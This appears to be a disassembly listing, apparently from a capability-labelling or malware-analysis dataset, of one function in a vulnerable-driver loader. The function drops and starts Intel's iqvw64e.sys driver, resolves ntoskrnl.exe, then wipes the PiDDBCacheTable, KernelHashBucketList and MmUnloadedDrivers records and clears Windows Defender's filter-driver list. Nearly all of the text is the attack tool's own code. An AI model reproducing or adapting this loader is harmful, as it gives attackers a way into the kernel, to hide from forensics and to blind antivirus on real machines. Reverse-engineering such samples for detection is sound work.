Function at 0x140006310
Capabilities:
Delete file

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, esi
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea rcx, str..Nal
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax + 1]
cmp rcx, 2
jae 0x1400065d1
xorps xmm0, xmm0
movaps xmmword [0x1400295d0], xmm0
movaps xmmword [0x1400295c0], xmm0
movaps xmmword [0x1400295b0], xmm0
movaps xmmword [0x1400295a0], xmm0
movaps xmmword [0x140029590], xmm0
movaps xmmword [0x140029580], xmm0
mov dword [0x1400295e0], 0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rsi, eax
imul rax, rsi, 0x66666667
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x23
add eax, ecx
shl eax, 2
lea eax, [rax + rax*4]
sub esi, eax
cmp esi, 0xfffffff7
jl 0x140006438
add esi, 0xa
xor edi, edi
mov r14, qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movabs r15, 0x4ec4ec4ec4ec4ec5
lea r12, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
lea rbx, [0x140029580]
nop
call r14
movsxd rcx, eax
mov rax, rcx
mul r15
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [r12 + rcx]
mov byte [rdi + rbx], al
add rdi, 1
cmp rsi, rdi
jne 0x140006410
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Loading_vulnerable_driver__Name:
call fcn.1400019b0
mov rsi, rax
lea rdi, [rbp - 0x28]
mov rcx, rdi
call fcn.140005de0
mov r8, qword [rbp - 0x18]
cmp qword [rbp - 0x10], 7
jbe 0x140006469
mov rdi, qword [rbp - 0x28]
mov rcx, rsi
mov rdx, rdi
call fcn.14000fd70
mov rsi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rax, qword [rbp - 0x10]
cmp rax, 8
jb 0x1400064e3
mov rcx, qword [rbp - 0x28]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x1400064de
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x1400069b4
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.1400150b4
lea rsi, [rbp - 0x28]
mov rcx, rsi
call fcn.140005f40
cmp qword [rbp - 0x18], 0
je 0x140006622
cmp qword [rbp - 0x10], 7
mov rcx, rsi
jbe 0x140006508
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
lea rdx, [0x1400178c0]
mov r8d, 0x8708
mov rcx, rsi
call fcn.140014460
test al, al
je 0x14000666a
lea rsi, [rbp - 0x28]
mov rcx, rsi
call fcn.1400131c0
test al, al
je 0x1400066af
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea rcx, str..Nal
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
add rax, 1
cmp rax, 1
ja 0x140006761
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_load_driver_iqvw64e.sys
call fcn.1400019b0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140006b40
mov rsi, 0xffffffffffffffff
jmp 0x140006706
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____DeviceNal_is_already_in_use.
call fcn.1400019b0
mov rsi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rsi, 0xffffffffffffffff
jmp 0x14000674c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Cant_find_TEMP_folder
call fcn.1400019b0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rsi, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
jmp 0x140006706
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_create_vulnerable_driver_file
call fcn.1400019b0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rsi, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
jmp 0x140006706
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
call fcn.1400019b0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
cmp qword [rbp - 0x10], 7
jbe 0x1400066f6
mov rsi, qword [rbp - 0x28]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov rsi, 0xffffffffffffffff
mov rax, qword [rbp - 0x10]
cmp rax, 8
jb 0x14000674c
mov rcx, qword [rbp - 0x28]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140006747
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x1400069b4
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.1400150b4
mov rax, rsi
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
movaps xmm0, xmmword [0x14001ffe0]
movups xmmword [rbp - 0x38], xmm0
movabs rax, 0x6c6e726b736f746e
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x40], 0x6578652e
mov byte [rbp - 0x3c], 0
lea rcx, [rbp - 0x48]
call fcn.140014690
mov qword [0x140029570], rax
mov rbx, qword [rbp - 0x30]
cmp rbx, 0x10
jb 0x1400067db
mov rcx, qword [rbp - 0x48]
lea rdx, [rbx + 1]
cmp rdx, 0x1000
jb 0x1400067cf
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x1400069b4
add rbx, 0x28
mov rdx, rbx
mov rcx, rax
call fcn.1400150b4
mov rax, qword [0x140029570]
test rax, rax
je 0x140006874
mov rcx, rsi
call fcn.140007080
test al, al
je 0x1400068c4
mov rcx, rsi
call fcn.140007af0
test al, al
je 0x140006914
mov rcx, rsi
call fcn.140008e50
test al, al
je 0x140006964
mov rcx, rsi
call fcn.140009460
test al, al
jne 0x140006706
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearWdFilterDriverList
call fcn.14000a130
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140006b40
mov rsi, 0xffffffffffffffff
jmp 0x140006706
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_get_ntoskrnl.exe
call fcn.1400019b0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140006b40
mov rsi, 0xffffffffffffffff
jmp 0x140006706
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearPiDDBCacheTable
call fcn.1400019b0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140006b40
mov rsi, 0xffffffffffffffff
jmp 0x140006706
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearKernelHashBucketList
call fcn.1400019b0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140006b40
mov rsi, 0xffffffffffffffff
jmp 0x140006706
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearMmUnloadedDrivers
call fcn.1400019b0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140006b40
mov rsi, 0xffffffffffffffff
jmp 0x140006706
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3